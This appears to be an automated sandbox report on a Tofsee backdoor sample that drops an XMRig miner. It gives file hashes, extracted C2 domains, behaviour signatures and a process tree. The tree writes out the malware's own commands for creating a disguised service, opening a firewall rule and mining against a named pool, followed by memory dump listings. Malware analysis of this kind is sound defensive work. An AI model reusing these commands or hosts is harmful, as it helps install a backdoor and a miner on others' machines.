Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2023 02:40

General

  • Target

    file.exe

  • Size

    351KB

  • MD5

    5d2d9772ede423e38610247a6b1ceaef

  • SHA1

    05a7d5e88b7d76c3bac82863e0ecdeee3c7062b8

  • SHA256

    354b9ec827fa56fd50c0193ae8a49cd5de791012a94603efde7322a79a1e4173

  • SHA512

    5aa2741e5ecd9f287274e7011dde190c30a7037fca69e1094a550a82fadb9ceac9728eb7ac9d47431aeb7cd0b56eacdc5ef8b39dcd451352169b1a346709c64a

  • SSDEEP

    6144:BdBva6fLfwWbJQtkLzq7rPjmAdFAZb4N2:Bd9/DfwWbJ9LqP6AdF4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rquzgaoo\
      2⤵
        PID:4552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe" C:\Windows\SysWOW64\rquzgaoo\
        2⤵
          PID:1652
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rquzgaoo binPath= "C:\Windows\SysWOW64\rquzgaoo\vcbowwei.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rquzgaoo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rquzgaoo
          2⤵
          • Launches sc.exe
          PID:1152
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2636 -s 1212
          2⤵
          • Program crash
          PID:1336
      • C:\Windows\SysWOW64\rquzgaoo\vcbowwei.exe
        C:\Windows\SysWOW64\rquzgaoo\vcbowwei.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5056
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3996
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4856
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 512
          2⤵
          • Program crash
          PID:3376
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2636 -ip 2636
        1⤵
          PID:224
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5056 -ip 5056
          1⤵
            PID:3008

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vcbowwei.exe
            Filesize

            13.7MB

            MD5

            c7298739898bbf35021ed16412ca3a00

            SHA1

            72aa12a7fb0caf199dffdaa7f5defc3b8d897082

            SHA256

            cf7d9f531c2b302696d11614a0de5f5a17ef43a685ec58c54cd2937c57c343ca

            SHA512

            d873264add2a432013af3c433a5e7fd970abad0816b25fcea763436ff8d6921ffcd56dd38ce596d7537f6da1caeb5155136891a6822aa86819f1824a9f31bbee

          • C:\Windows\SysWOW64\rquzgaoo\vcbowwei.exe
            Filesize

            13.7MB

            MD5

            c7298739898bbf35021ed16412ca3a00

            SHA1

            72aa12a7fb0caf199dffdaa7f5defc3b8d897082

            SHA256

            cf7d9f531c2b302696d11614a0de5f5a17ef43a685ec58c54cd2937c57c343ca

            SHA512

            d873264add2a432013af3c433a5e7fd970abad0816b25fcea763436ff8d6921ffcd56dd38ce596d7537f6da1caeb5155136891a6822aa86819f1824a9f31bbee

          • memory/2636-135-0x0000000000880000-0x0000000000893000-memory.dmp
            Filesize

            76KB

          • memory/2636-138-0x0000000000400000-0x00000000007FD000-memory.dmp
            Filesize

            4.0MB

          • memory/3996-166-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-179-0x0000000007000000-0x000000000740B000-memory.dmp
            Filesize

            4.0MB

          • memory/3996-167-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-145-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3996-147-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3996-148-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/3996-151-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/3996-152-0x0000000001770000-0x0000000001776000-memory.dmp
            Filesize

            24KB

          • memory/3996-155-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-158-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-159-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-161-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-160-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-169-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-163-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-165-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-140-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3996-164-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-168-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-183-0x00000000017E0000-0x00000000017E7000-memory.dmp
            Filesize

            28KB

          • memory/3996-162-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-170-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-171-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-172-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-173-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-174-0x0000000001780000-0x0000000001790000-memory.dmp
            Filesize

            64KB

          • memory/3996-175-0x00000000017D0000-0x00000000017D5000-memory.dmp
            Filesize

            20KB

          • memory/3996-178-0x00000000017D0000-0x00000000017D5000-memory.dmp
            Filesize

            20KB

          • memory/3996-143-0x0000000000400000-0x0000000000415000-memory.dmp
            Filesize

            84KB

          • memory/3996-182-0x0000000007000000-0x000000000740B000-memory.dmp
            Filesize

            4.0MB

          • memory/4856-193-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-187-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-192-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-198-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-194-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-195-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-196-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/4856-197-0x0000000001270000-0x0000000001361000-memory.dmp
            Filesize

            964KB

          • memory/5056-144-0x0000000000400000-0x00000000007FD000-memory.dmp
            Filesize

            4.0MB